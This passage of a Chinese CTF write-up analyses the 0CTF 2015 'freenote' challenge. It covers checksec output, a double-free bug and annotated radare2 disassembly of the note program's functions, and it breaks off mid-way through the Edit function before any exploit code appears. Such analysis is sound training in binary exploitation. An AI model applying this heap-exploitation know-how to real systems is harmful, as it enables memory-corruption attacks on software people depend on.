6.1.7 pwn 0CTF2015 freenote

下载文件

题目复现

  1. $ file freenote
  2. freenote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
  3. $ checksec -f freenote
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 2 freenote
  6. $ strings libc-2.19.so | grep "GNU C"
  7. GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.6) stable release version 2.19, by Roland McGrath et al.
  8. Compiled by GNU CC version 4.8.2.

因为没有 PIE,即使本机开启 ASLR 也没有关系。

玩一下,它有 List、New、Edit、Delete 四个功能:

  1. $ ./freenote
  2. == 0ops Free Note ==
  3. 1. List Note
  4. 2. New Note
  5. 3. Edit Note
  6. 4. Delete Note
  7. 5. Exit
  8. ====================
  9. Your choice: 2
  10. Length of new note: 5
  11. Enter your note: AAAA
  12. Done.
  13. == 0ops Free Note ==
  14. 1. List Note
  15. 2. New Note
  16. 3. Edit Note
  17. 4. Delete Note
  18. 5. Exit
  19. ====================
  20. Your choice: 1
  21. 0. AAAA
  22. == 0ops Free Note ==
  23. 1. List Note
  24. 2. New Note
  25. 3. Edit Note
  26. 4. Delete Note
  27. 5. Exit
  28. ====================
  29. Your choice: 3
  30. Note number: 0
  31. Length of note: 10
  32. Enter your note: BBBBBBBBB
  33. Done.
  34. == 0ops Free Note ==
  35. 1. List Note
  36. 2. New Note
  37. 3. Edit Note
  38. 4. Delete Note
  39. 5. Exit
  40. ====================
  41. Your choice: 1
  42. 0. BBBBBBBBB
  43. == 0ops Free Note ==
  44. 1. List Note
  45. 2. New Note
  46. 3. Edit Note
  47. 4. Delete Note
  48. 5. Exit
  49. ====================
  50. Your choice: 4
  51. Note number: 0
  52. Done.
  53. == 0ops Free Note ==
  54. 1. List Note
  55. 2. New Note
  56. 3. Edit Note
  57. 4. Delete Note
  58. 5. Exit
  59. ====================
  60. Your choice: 1
  61. You need to create some new notes first.
  62. == 0ops Free Note ==
  63. 1. List Note
  64. 2. New Note
  65. 3. Edit Note
  66. 4. Delete Note
  67. 5. Exit
  68. ====================
  69. Your choice: 5
  70. Bye

然后漏洞似乎也很明显,如果我们两次 Delete 同一个笔记,则触发 double free:

  1. *** Error in `./freenote': double free or corruption (!prev): 0x0000000000672830 ***
  2. Aborted

在 Ubuntu 14.04 上把程序跑起来:

  1. $ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.19.so ./freenote" &

题目解析

我们先来看一下 main 函数:

  1. [0x00400770]> pdf @ main
  2. / (fcn) main 60
  3. | main ();
  4. | ; var int local_4h @ rbp-0x4
  5. | ; DATA XREF from 0x0040078d (entry0)
  6. | 0x00401087 55 push rbp
  7. | 0x00401088 4889e5 mov rbp, rsp
  8. | 0x0040108b 4883ec10 sub rsp, 0x10
  9. | 0x0040108f b800000000 mov eax, 0
  10. | 0x00401094 e864f9ffff call sub.setvbuf_9fd ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
  11. | 0x00401099 b800000000 mov eax, 0
  12. | 0x0040109e e8a6f9ffff call sub.malloc_a49 ; void *malloc(size_t size)
  13. | ; JMP XREF from 0x0040110f (main + 136)
  14. | 0x004010a3 b800000000 mov eax, 0
  15. | 0x004010a8 e8ebf8ffff call sub.0ops_Free_Note_998
  16. | 0x004010ad 8945fc mov dword [local_4h], eax
  17. | 0x004010b0 837dfc05 cmp dword [local_4h], 5 ; [0x5:4]=-1 ; 5
  18. | ,=< 0x004010b4 774e ja 0x401104
  19. | | 0x004010b6 8b45fc mov eax, dword [local_4h]
  20. | | 0x004010b9 488b04c5f812. mov rax, qword [rax*8 + 0x4012f8] ; [0x4012f8:8]=0x401104
  21. \ | 0x004010c1 ffe0 jmp rax

main 函数首先调用 sub.malloc_a49() 分配一块内存并进行初始化,然后读取用户输入,根据偏移跳转到相应的函数上去(典型的switch实现):

  1. [0x00400770]> px 48 @ 0x4012f8
  2. - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
  3. 0x004012f8 0411 4000 0000 0000 c310 4000 0000 0000 ..@.......@.....
  4. 0x00401308 cf10 4000 0000 0000 db10 4000 0000 0000 ..@.......@.....
  5. 0x00401318 e710 4000 0000 0000 f310 4000 0000 0000 ..@.......@.....
  1. [0x00400770]> pd 22 @ 0x4010c3
  2. : 0x004010c3 b800000000 mov eax, 0
  3. : 0x004010c8 e847faffff call sub.You_need_to_create_some_new_notes_first._b14
  4. ,==< 0x004010cd eb40 jmp 0x40110f
  5. |: 0x004010cf b800000000 mov eax, 0
  6. |: 0x004010d4 e8e9faffff call sub.Length_of_new_note:_bc2
  7. ,===< 0x004010d9 eb34 jmp 0x40110f
  8. ||: 0x004010db b800000000 mov eax, 0
  9. ||: 0x004010e0 e8a2fcffff call sub.Note_number:_d87
  10. ,====< 0x004010e5 eb28 jmp 0x40110f
  11. |||: 0x004010e7 b800000000 mov eax, 0
  12. |||: 0x004010ec e88cfeffff call sub.No_notes_yet._f7d
  13. ,=====< 0x004010f1 eb1c jmp 0x40110f
  14. ||||: 0x004010f3 bfe6124000 mov edi, 0x4012e6
  15. ||||: 0x004010f8 e8c3f5ffff call sym.imp.puts ; int puts(const char *s)
  16. ||||: 0x004010fd b800000000 mov eax, 0
  17. ,======< 0x00401102 eb0d jmp 0x401111
  18. |||||: ; JMP XREF from 0x004010b4 (main)
  19. |||||: 0x00401104 bfea124000 mov edi, str.Invalid ; 0x4012ea ; "Invalid!"
  20. |||||: 0x00401109 e8b2f5ffff call sym.imp.puts ; int puts(const char *s)
  21. |||||: 0x0040110e 90 nop
  22. |||||| ; JMP XREF from 0x004010cd (main + 70)
  23. |||||| ; JMP XREF from 0x004010d9 (main + 82)
  24. |||||| ; JMP XREF from 0x004010e5 (main + 94)
  25. |||||| ; JMP XREF from 0x004010f1 (main + 106)
  26. |`````=< 0x0040110f eb92 jmp 0x4010a3 ; main+0x1c
  27. | ; JMP XREF from 0x00401102 (main + 123)
  28. `------> 0x00401111 c9 leave
  29. 0x00401112 c3 ret

所以四个功能对应的函数如下:

  • List:sub.You_need_to_create_some_new_notes_first._b14
  • New:sub.Length_of_new_note:_bc2
  • Edit:call sub.Note_number:_d87
  • Delete:call sub.No_notes_yet._f7d

函数 sub.malloc_a49 如下:

  1. [0x00400770]> pdf @ sub.malloc_a49
  2. / (fcn) sub.malloc_a49 203
  3. | sub.malloc_a49 ();
  4. | ; var int local_4h @ rbp-0x4
  5. | ; CALL XREF from 0x0040109e (main)
  6. | 0x00400a49 55 push rbp
  7. | 0x00400a4a 4889e5 mov rbp, rsp
  8. | 0x00400a4d 4883ec10 sub rsp, 0x10
  9. | 0x00400a51 bf10180000 mov edi, 0x1810
  10. | 0x00400a56 e8d5fcffff call sym.imp.malloc ; void *malloc(size_t size)
  11. | 0x00400a5b 488905461620. mov qword [0x006020a8], rax ; [0x6020a8:8]=0
  12. | 0x00400a62 488b053f1620. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  13. | 0x00400a69 48c700000100. mov qword [rax], 0x100 ; [0x100:8]=-1 ; 256 ; Notes 结构体成员 max
  14. | 0x00400a70 488b05311620. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  15. | 0x00400a77 48c740080000. mov qword [rax + 8], 0 ; Notes 结构体成员 length
  16. | 0x00400a7f c745fc000000. mov dword [local_4h], 0 ; [local_4h] Note 的序号
  17. | ,=< 0x00400a86 eb7d jmp 0x400b05
  18. | | ; JMP XREF from 0x00400b0c (sub.malloc_a49)
  19. | .--> 0x00400a88 488b0d191620. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0 ; Notes 结构体的地址
  20. | :| 0x00400a8f 8b45fc mov eax, dword [local_4h]
  21. | :| 0x00400a92 4863d0 movsxd rdx, eax
  22. | :| 0x00400a95 4889d0 mov rax, rdx
  23. | :| 0x00400a98 4801c0 add rax, rax ; '#'
  24. | :| 0x00400a9b 4801d0 add rax, rdx ; '('
  25. | :| 0x00400a9e 48c1e003 shl rax, 3 ; 序号 *24
  26. | :| 0x00400aa2 4801c8 add rax, rcx ; '&'
  27. | :| 0x00400aa5 4883c010 add rax, 0x10 ; 序号对应的 Note 地址
  28. | :| 0x00400aa9 48c700000000. mov qword [rax], 0 ; Note 结构体成员 isValid 初始化为 0
  29. | :| 0x00400ab0 488b0df11520. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  30. | :| 0x00400ab7 8b45fc mov eax, dword [local_4h]
  31. | :| 0x00400aba 4863d0 movsxd rdx, eax
  32. | :| 0x00400abd 4889d0 mov rax, rdx
  33. | :| 0x00400ac0 4801c0 add rax, rax ; '#'
  34. | :| 0x00400ac3 4801d0 add rax, rdx ; '('
  35. | :| 0x00400ac6 48c1e003 shl rax, 3
  36. | :| 0x00400aca 4801c8 add rax, rcx ; '&'
  37. | :| 0x00400acd 4883c010 add rax, 0x10
  38. | :| 0x00400ad1 48c740080000. mov qword [rax + 8], 0 ; Note 结构体成员 length 初始化为 0
  39. | :| 0x00400ad9 488b0dc81520. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  40. | :| 0x00400ae0 8b45fc mov eax, dword [local_4h]
  41. | :| 0x00400ae3 4863d0 movsxd rdx, eax
  42. | :| 0x00400ae6 4889d0 mov rax, rdx
  43. | :| 0x00400ae9 4801c0 add rax, rax ; '#'
  44. | :| 0x00400aec 4801d0 add rax, rdx ; '('
  45. | :| 0x00400aef 48c1e003 shl rax, 3
  46. | :| 0x00400af3 4801c8 add rax, rcx ; '&'
  47. | :| 0x00400af6 4883c020 add rax, 0x20
  48. | :| 0x00400afa 48c700000000. mov qword [rax], 0 ; Note 结构体成员 content 初始化为 0
  49. | :| 0x00400b01 8345fc01 add dword [local_4h], 1 ; 序号 +1
  50. | :| ; JMP XREF from 0x00400a86 (sub.malloc_a49)
  51. | :`-> 0x00400b05 817dfcff0000. cmp dword [local_4h], 0xff ; [0xff:4]=-1 ; 255 ; 循环初始化 Note
  52. | `==< 0x00400b0c 0f8e76ffffff jle 0x400a88
  53. | 0x00400b12 c9 leave
  54. \ 0x00400b13 c3 ret

该函数调用 malloc 在堆上分配 0x1810 字节的内存用来存放数据。我们可以猜测这里还存在两个结构体,Note 和 Notes:

  1. struct Note {
  2. int isValid; // 1 表示笔记存在,0 表示笔记不存在
  3. int length; // 笔记长度
  4. char *content; // 指向笔记内容的指针
  5. } Note;
  6. struct Notes {
  7. int max; // 笔记总数上限 0x100
  8. int length; // 当前笔记数量
  9. Note notes[256]; // 笔记
  10. } Notes;

接下来依次分析程序四个功能的实现,先从 List 开始:

  1. [0x00400770]> pdf @ sub.You_need_to_create_some_new_notes_first._b14
  2. / (fcn) sub.You_need_to_create_some_new_notes_first._b14 174
  3. | sub.You_need_to_create_some_new_notes_first._b14 ();
  4. | ; var int local_4h @ rbp-0x4
  5. | ; CALL XREF from 0x004010c8 (main + 65)
  6. | 0x00400b14 55 push rbp
  7. | 0x00400b15 4889e5 mov rbp, rsp
  8. | 0x00400b18 4883ec10 sub rsp, 0x10
  9. | 0x00400b1c 488b05851520. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  10. | 0x00400b23 488b4008 mov rax, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 Notes 结构体成员 length
  11. | 0x00400b27 4885c0 test rax, rax ; 判断 length 是否为 0
  12. | ,=< 0x00400b2a 0f8e86000000 jle 0x400bb6 ; 如果为 0,即没有笔记时跳转,该函数结束
  13. | | 0x00400b30 c745fc000000. mov dword [local_4h], 0 ; [local_4h] 初始化为 0
  14. | ,==< 0x00400b37 eb66 jmp 0x400b9f
  15. | || ; JMP XREF from 0x00400bb2 (sub.You_need_to_create_some_new_notes_first._b14)
  16. | .---> 0x00400b39 488b0d681520. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  17. | :|| 0x00400b40 8b45fc mov eax, dword [local_4h]
  18. | :|| 0x00400b43 4863d0 movsxd rdx, eax
  19. | :|| 0x00400b46 4889d0 mov rax, rdx
  20. | :|| 0x00400b49 4801c0 add rax, rax ; '#'
  21. | :|| 0x00400b4c 4801d0 add rax, rdx ; '('
  22. | :|| 0x00400b4f 48c1e003 shl rax, 3
  23. | :|| 0x00400b53 4801c8 add rax, rcx ; '&'
  24. | :|| 0x00400b56 4883c010 add rax, 0x10 ; rax local_4h 序号处的 Note
  25. | :|| 0x00400b5a 488b00 mov rax, qword [rax] ; 取出 Note 结构体成员 isValid
  26. | :|| 0x00400b5d 4883f801 cmp rax, 1 ; 1
  27. | ,====< 0x00400b61 7538 jne 0x400b9b ; 如果 isValid != 1,跳过打印
  28. | |:|| 0x00400b63 488b0d3e1520. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  29. | |:|| 0x00400b6a 8b45fc mov eax, dword [local_4h]
  30. | |:|| 0x00400b6d 4863d0 movsxd rdx, eax
  31. | |:|| 0x00400b70 4889d0 mov rax, rdx
  32. | |:|| 0x00400b73 4801c0 add rax, rax ; '#'
  33. | |:|| 0x00400b76 4801d0 add rax, rdx ; '('
  34. | |:|| 0x00400b79 48c1e003 shl rax, 3
  35. | |:|| 0x00400b7d 4801c8 add rax, rcx ; '&'
  36. | |:|| 0x00400b80 4883c020 add rax, 0x20
  37. | |:|| 0x00400b84 488b10 mov rdx, qword [rax]
  38. | |:|| 0x00400b87 8b45fc mov eax, dword [local_4h]
  39. | |:|| 0x00400b8a 89c6 mov esi, eax
  40. | |:|| 0x00400b8c bf1d124000 mov edi, str.d.__s ; 0x40121d ; "%d. %s\n"
  41. | |:|| 0x00400b91 b800000000 mov eax, 0
  42. | |:|| 0x00400b96 e845fbffff call sym.imp.printf ; int printf(const char *format) ; 打印出序号和内容
  43. | |:|| ; JMP XREF from 0x00400b61 (sub.You_need_to_create_some_new_notes_first._b14)
  44. | `----> 0x00400b9b 8345fc01 add dword [local_4h], 1
  45. | :|| ; JMP XREF from 0x00400b37 (sub.You_need_to_create_some_new_notes_first._b14)
  46. | :`--> 0x00400b9f 8b45fc mov eax, dword [local_4h] ; eax = [local_4h]
  47. | : | 0x00400ba2 4863d0 movsxd rdx, eax ; rdx = eax == [local_4h]
  48. | : | 0x00400ba5 488b05fc1420. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0 ; 取出 Notes 地址
  49. | : | 0x00400bac 488b00 mov rax, qword [rax] ; 取出结构体成员 max == 0x100
  50. | : | 0x00400baf 4839c2 cmp rdx, rax ; 比较当前笔记序号 rdx max
  51. | `===< 0x00400bb2 7c85 jl 0x400b39 ; 遍历所有笔记
  52. | ,==< 0x00400bb4 eb0a jmp 0x400bc0
  53. | || ; JMP XREF from 0x00400b2a (sub.You_need_to_create_some_new_notes_first._b14)
  54. | |`-> 0x00400bb6 bf28124000 mov edi, str.You_need_to_create_some_new_notes_first. ; 0x401228 ; "You need to create some new notes first."
  55. | | 0x00400bbb e800fbffff call sym.imp.puts ; int puts(const char *s)
  56. | | ; JMP XREF from 0x00400bb4 (sub.You_need_to_create_some_new_notes_first._b14)
  57. | `--> 0x00400bc0 c9 leave
  58. \ 0x00400bc1 c3 ret

该函数会打印出所有 isValid 成员为 1 的笔记。

New 的实现如下:

  1. [0x00400770]> pdf @ sub.Length_of_new_note:_bc2
  2. / (fcn) sub.Length_of_new_note:_bc2 453
  3. | sub.Length_of_new_note:_bc2 (int arg_1000h);
  4. | ; var int local_14h @ rbp-0x14
  5. | ; var int local_10h @ rbp-0x10
  6. | ; var int local_ch @ rbp-0xc
  7. | ; var int local_8h @ rbp-0x8
  8. | ; var int local_0h @ rbp-0x0
  9. | ; arg int arg_1000h @ rbp+0x1000
  10. | ; CALL XREF from 0x004010d4 (main + 77)
  11. | 0x00400bc2 55 push rbp
  12. | 0x00400bc3 4889e5 mov rbp, rsp
  13. | 0x00400bc6 4883ec20 sub rsp, 0x20
  14. | 0x00400bca 488b05d71420. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  15. | 0x00400bd1 488b5008 mov rdx, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 Notes 成员 length
  16. | 0x00400bd5 488b05cc1420. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  17. | 0x00400bdc 488b00 mov rax, qword [rax] ; 取出 Notes 成员 max
  18. | 0x00400bdf 4839c2 cmp rdx, rax
  19. | ,=< 0x00400be2 7c0f jl 0x400bf3 ; length < max 时继续,否则表示笔记本已满
  20. | | 0x00400be4 bf51124000 mov edi, str.Unable_to_create_new_note. ; 0x401251 ; "Unable to create new note."
  21. | | 0x00400be9 e8d2faffff call sym.imp.puts ; int puts(const char *s)
  22. | ,==< 0x00400bee e992010000 jmp 0x400d85
  23. | || ; JMP XREF from 0x00400be2 (sub.Length_of_new_note:_bc2)
  24. | |`-> 0x00400bf3 c745ec000000. mov dword [local_14h], 0 ; [local_14h] 初始化为 0
  25. | |,=< 0x00400bfa e96d010000 jmp 0x400d6c
  26. | || ; JMP XREF from 0x00400d7f (sub.Length_of_new_note:_bc2)
  27. | .---> 0x00400bff 488b0da21420. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  28. | :|| 0x00400c06 8b45ec mov eax, dword [local_14h]
  29. | :|| 0x00400c09 4863d0 movsxd rdx, eax
  30. | :|| 0x00400c0c 4889d0 mov rax, rdx
  31. | :|| 0x00400c0f 4801c0 add rax, rax ; '#'
  32. | :|| 0x00400c12 4801d0 add rax, rdx ; '('
  33. | :|| 0x00400c15 48c1e003 shl rax, 3
  34. | :|| 0x00400c19 4801c8 add rax, rcx ; '&'
  35. | :|| 0x00400c1c 4883c010 add rax, 0x10
  36. | :|| 0x00400c20 488b00 mov rax, qword [rax]
  37. | :|| 0x00400c23 4885c0 test rax, rax ; rax 表示成员 isValid
  38. | ,====< 0x00400c26 0f853c010000 jne 0x400d68 ; 当 isValid 为 1 时,表示当前序号处笔记已经存在,跳过
  39. | |:|| 0x00400c2c bf6c124000 mov edi, str.Length_of_new_note: ; 0x40126c ; "Length of new note: "
  40. | |:|| 0x00400c31 b800000000 mov eax, 0
  41. | |:|| 0x00400c36 e8a5faffff call sym.imp.printf ; int printf(const char *format)
  42. | |:|| 0x00400c3b b800000000 mov eax, 0
  43. | |:|| 0x00400c40 e809fdffff call sub.atoi_94e ; int atoi(const char *str)
  44. | |:|| 0x00400c45 8945f0 mov dword [local_10h], eax ; [local_10h] 是笔记长度
  45. | |:|| 0x00400c48 837df000 cmp dword [local_10h], 0
  46. | ,=====< 0x00400c4c 7f0f jg 0x400c5d ; 大于 0 时
  47. | ||:|| 0x00400c4e bf81124000 mov edi, str.Invalid_length ; 0x401281 ; "Invalid length!"
  48. | ||:|| 0x00400c53 e868faffff call sym.imp.puts ; int puts(const char *s)
  49. | ,======< 0x00400c58 e928010000 jmp 0x400d85
  50. | |||:|| ; JMP XREF from 0x00400c4c (sub.Length_of_new_note:_bc2)
  51. | |`-----> 0x00400c5d 817df0001000. cmp dword [local_10h], 0x1000 ; [0x1000:4]=-1
  52. | |,=====< 0x00400c64 7e07 jle 0x400c6d ; 小于等于 0x1000
  53. | |||:|| 0x00400c66 c745f0001000. mov dword [local_10h], 0x1000 ; 否则 [local_10h] = 0x1000
  54. | |||:|| ; JMP XREF from 0x00400c64 (sub.Length_of_new_note:_bc2)
  55. | |`-----> 0x00400c6d 8b45f0 mov eax, dword [local_10h]
  56. | | |:|| 0x00400c70 99 cdq
  57. | | |:|| 0x00400c71 c1ea19 shr edx, 0x19
  58. | | |:|| 0x00400c74 01d0 add eax, edx
  59. | | |:|| 0x00400c76 83e07f and eax, 0x7f
  60. | | |:|| 0x00400c79 29d0 sub eax, edx
  61. | | |:|| 0x00400c7b ba80000000 mov edx, 0x80 ; 128
  62. | | |:|| 0x00400c80 29c2 sub edx, eax
  63. | | |:|| 0x00400c82 89d0 mov eax, edx
  64. | | |:|| 0x00400c84 c1f81f sar eax, 0x1f
  65. | | |:|| 0x00400c87 c1e819 shr eax, 0x19
  66. | | |:|| 0x00400c8a 01c2 add edx, eax
  67. | | |:|| 0x00400c8c 83e27f and edx, 0x7f
  68. | | |:|| 0x00400c8f 29c2 sub edx, eax
  69. | | |:|| 0x00400c91 89d0 mov eax, edx
  70. | | |:|| 0x00400c93 89c2 mov edx, eax
  71. | | |:|| 0x00400c95 8b45f0 mov eax, dword [local_10h]
  72. | | |:|| 0x00400c98 01d0 add eax, edx
  73. | | |:|| 0x00400c9a 8945f4 mov dword [local_ch], eax
  74. | | |:|| 0x00400c9d 8b45f4 mov eax, dword [local_ch]
  75. | | |:|| 0x00400ca0 4898 cdqe
  76. | | |:|| 0x00400ca2 4889c7 mov rdi, rax ; rdi 最终为 ((128 - [local_10h] % 128) % 128 + [local_10h])
  77. | | |:|| 0x00400ca5 e886faffff call sym.imp.malloc ; void *malloc(size_t size)
  78. | | |:|| 0x00400caa 488945f8 mov qword [local_8h], rax ; [local_8h] 为 Note 内容的地址
  79. | | |:|| 0x00400cae bf91124000 mov edi, str.Enter_your_note: ; 0x401291 ; "Enter your note: "
  80. | | |:|| 0x00400cb3 b800000000 mov eax, 0
  81. | | |:|| 0x00400cb8 e823faffff call sym.imp.printf ; int printf(const char *format)
  82. | | |:|| 0x00400cbd 8b55f0 mov edx, dword [local_10h]
  83. | | |:|| 0x00400cc0 488b45f8 mov rax, qword [local_8h]
  84. | | |:|| 0x00400cc4 89d6 mov esi, edx
  85. | | |:|| 0x00400cc6 4889c7 mov rdi, rax
  86. | | |:|| 0x00400cc9 e88ffbffff call sub.read_85d ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 读入笔记内容
  87. | | |:|| 0x00400cce 488b0dd31320. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  88. | | |:|| 0x00400cd5 8b45ec mov eax, dword [local_14h]
  89. | | |:|| 0x00400cd8 4863d0 movsxd rdx, eax
  90. | | |:|| 0x00400cdb 4889d0 mov rax, rdx
  91. | | |:|| 0x00400cde 4801c0 add rax, rax ; '#'
  92. | | |:|| 0x00400ce1 4801d0 add rax, rdx ; '('
  93. | | |:|| 0x00400ce4 48c1e003 shl rax, 3
  94. | | |:|| 0x00400ce8 4801c8 add rax, rcx ; '&'
  95. | | |:|| 0x00400ceb 4883c010 add rax, 0x10
  96. | | |:|| 0x00400cef 48c700010000. mov qword [rax], 1 ; 设置 Note 结构体成员 isValid 为 1
  97. | | |:|| 0x00400cf6 488b35ab1320. mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
  98. | | |:|| 0x00400cfd 8b45f0 mov eax, dword [local_10h]
  99. | | |:|| 0x00400d00 4863c8 movsxd rcx, eax
  100. | | |:|| 0x00400d03 8b45ec mov eax, dword [local_14h]
  101. | | |:|| 0x00400d06 4863d0 movsxd rdx, eax
  102. | | |:|| 0x00400d09 4889d0 mov rax, rdx
  103. | | |:|| 0x00400d0c 4801c0 add rax, rax ; '#'
  104. | | |:|| 0x00400d0f 4801d0 add rax, rdx ; '('
  105. | | |:|| 0x00400d12 48c1e003 shl rax, 3
  106. | | |:|| 0x00400d16 4801f0 add rax, rsi ; '+'
  107. | | |:|| 0x00400d19 4883c010 add rax, 0x10
  108. | | |:|| 0x00400d1d 48894808 mov qword [rax + 8], rcx ; 设置 Note 结构体成员 length 为 [local_10h]
  109. | | |:|| 0x00400d21 488b0d801320. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  110. | | |:|| 0x00400d28 8b45ec mov eax, dword [local_14h]
  111. | | |:|| 0x00400d2b 4863d0 movsxd rdx, eax
  112. | | |:|| 0x00400d2e 4889d0 mov rax, rdx
  113. | | |:|| 0x00400d31 4801c0 add rax, rax ; '#'
  114. | | |:|| 0x00400d34 4801d0 add rax, rdx ; '('
  115. | | |:|| 0x00400d37 48c1e003 shl rax, 3
  116. | | |:|| 0x00400d3b 4801c8 add rax, rcx ; '&'
  117. | | |:|| 0x00400d3e 488d5020 lea rdx, [rax + 0x20] ; 32
  118. | | |:|| 0x00400d42 488b45f8 mov rax, qword [local_8h]
  119. | | |:|| 0x00400d46 488902 mov qword [rdx], rax ; 设置 Note 结构体成员 content 为 [local_8h]
  120. | | |:|| 0x00400d49 488b05581320. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  121. | | |:|| 0x00400d50 488b5008 mov rdx, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 Notes 成员 length
  122. | | |:|| 0x00400d54 4883c201 add rdx, 1 ; length +1
  123. | | |:|| 0x00400d58 48895008 mov qword [rax + 8], rdx ; 写回 length
  124. | | |:|| 0x00400d5c bfa3124000 mov edi, str.Done. ; 0x4012a3 ; "Done."
  125. | | |:|| 0x00400d61 e85af9ffff call sym.imp.puts ; int puts(const char *s)
  126. | |,=====< 0x00400d66 eb1d jmp 0x400d85
  127. | |||:|| ; JMP XREF from 0x00400c26 (sub.Length_of_new_note:_bc2)
  128. | ||`----> 0x00400d68 8345ec01 add dword [local_14h], 1
  129. | || :|| ; JMP XREF from 0x00400bfa (sub.Length_of_new_note:_bc2)
  130. | || :|`-> 0x00400d6c 8b45ec mov eax, dword [local_14h] ; eax = [local_14h]
  131. | || :| 0x00400d6f 4863d0 movsxd rdx, eax ; rdx 表示序号
  132. | || :| 0x00400d72 488b052f1320. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  133. | || :| 0x00400d79 488b00 mov rax, qword [rax] ; 取出 Notes 成员 max
  134. | || :| 0x00400d7c 4839c2 cmp rdx, rax ; 比较序号与 max
  135. | || `===< 0x00400d7f 0f8c7afeffff jl 0x400bff ; 遍历
  136. | || | ; JMP XREF from 0x00400bee (sub.Length_of_new_note:_bc2)
  137. | || | ; JMP XREF from 0x00400c58 (sub.Length_of_new_note:_bc2)
  138. | || | ; JMP XREF from 0x00400d66 (sub.Length_of_new_note:_bc2)
  139. | ``--`--> 0x00400d85 c9 leave
  140. \ 0x00400d86 c3 ret

该函数首先对你输入的大小进行判断,如果小于 128 字节,则默认分配 128 字节的空间,如果大于 128 字节且小于 4096 字节时,则分配比输入稍大的 128 字节的整数倍的空间,如果大于 4096 字节,则默认分配 4096 字节。

Edit 的实现如下:

  1. [0x00400770]> pdf @ sub.Note_number:_d87
  2. / (fcn) sub.Note_number:_d87 502
  3. | sub.Note_number:_d87 (int arg_1000h);
  4. | ; var int local_1ch @ rbp-0x1c
  5. | ; var int local_18h @ rbp-0x18
  6. | ; var int local_14h @ rbp-0x14
  7. | ; var int local_0h @ rbp-0x0
  8. | ; arg int arg_1000h @ rbp+0x1000
  9. | ; CALL XREF from 0x004010e0 (main + 89)
  10. | 0x00400d87 55 push rbp
  11. | 0x00400d88 4889e5 mov rbp, rsp
  12. | 0x00400d8b 53 push rbx
  13. | 0x00400d8c 4883ec18 sub rsp, 0x18
  14. | 0x00400d90 bfa9124000 mov edi, str.Note_number: ; 0x4012a9 ; "Note number: "
  15. | 0x00400d95 b800000000 mov eax, 0
  16. | 0x00400d9a e841f9ffff call sym.imp.printf ; int printf(const char *format)
  17. | 0x00400d9f b800000000 mov eax, 0
  18. | 0x00400da4 e8a5fbffff call sub.atoi_94e ; int atoi(const char *str)
  19. | 0x00400da9 8945e8 mov dword [local_18h], eax ; [local_18h] 为要修改的笔记序号
  20. | 0x00400dac 837de800 cmp dword [local_18h], 0 ; 进行检查,确保序号是有效的
  21. | ,=< 0x00400db0 783f js 0x400df1
  22. | | 0x00400db2 8b45e8 mov eax, dword [local_18h]
  23. | | 0x00400db5 4863d0 movsxd rdx, eax
  24. | | 0x00400db8 488b05e91220. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  25. | | 0x00400dbf 488b00 mov rax, qword [rax]
  26. | | 0x00400dc2 4839c2 cmp rdx, rax
  27. | ,==< 0x00400dc5 7d2a jge 0x400df1
  28. | || 0x00400dc7 488b0dda1220. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  29. | || 0x00400dce 8b45e8 mov eax, dword [local_18h]
  30. | || 0x00400dd1 4863d0 movsxd rdx, eax
  31. | || 0x00400dd4 4889d0 mov rax, rdx
  32. | || 0x00400dd7 4801c0 add rax, rax ; '#'
  33. | || 0x00400dda 4801d0 add rax, rdx ; '('
  34. | || 0x00400ddd 48c1e003 shl rax, 3
  35. | || 0x00400de1 4801c8 add rax, rcx ; '&'
  36. | || 0x00400de4 4883c010 add rax, 0x10
  37. | || 0x00400de8 488b00 mov rax, qword [rax]
  38. | || 0x00400deb 4883f801 cmp rax, 1 ; 1
  39. | ,===< 0x00400def 740f je 0x400e00 ; 修改笔记的 isValid 必须为 1
  40. | ||| ; JMP XREF from 0x00400db0 (sub.Note_number:_d87)
  41. | ||| ; JMP XREF from 0x00400dc5 (sub.Note_number:_d87)
  42. | |``-> 0x00400df1 bfb7124000 mov edi, str.Invalid_number ; 0x4012b7 ; "Invalid number!"
  43. | | 0x00400df6 e8c5f8ffff call sym.imp.puts ; int puts(const char *s)
  44. | | ,=< 0x00400dfb e976010000 jmp 0x400f76
  45. | | | ; JMP XREF from 0x00400def (sub.Note_number:_d87)
  46. | `---> 0x00400e00 bfc7124000 mov edi, str.Length_of_note: ; 0x4012c7 ; "Length of note: "
  47. | | 0x00400e05 b800000000 mov eax, 0
  48. | | 0x00400e0a e8d1f8ffff call sym.imp.printf ; int printf(const char *format)
  49. | | 0x00400e0f b800000000 mov eax, 0
  50. | | 0x00400e14 e835fbffff call sub.atoi_94e ; int atoi(const char *str)
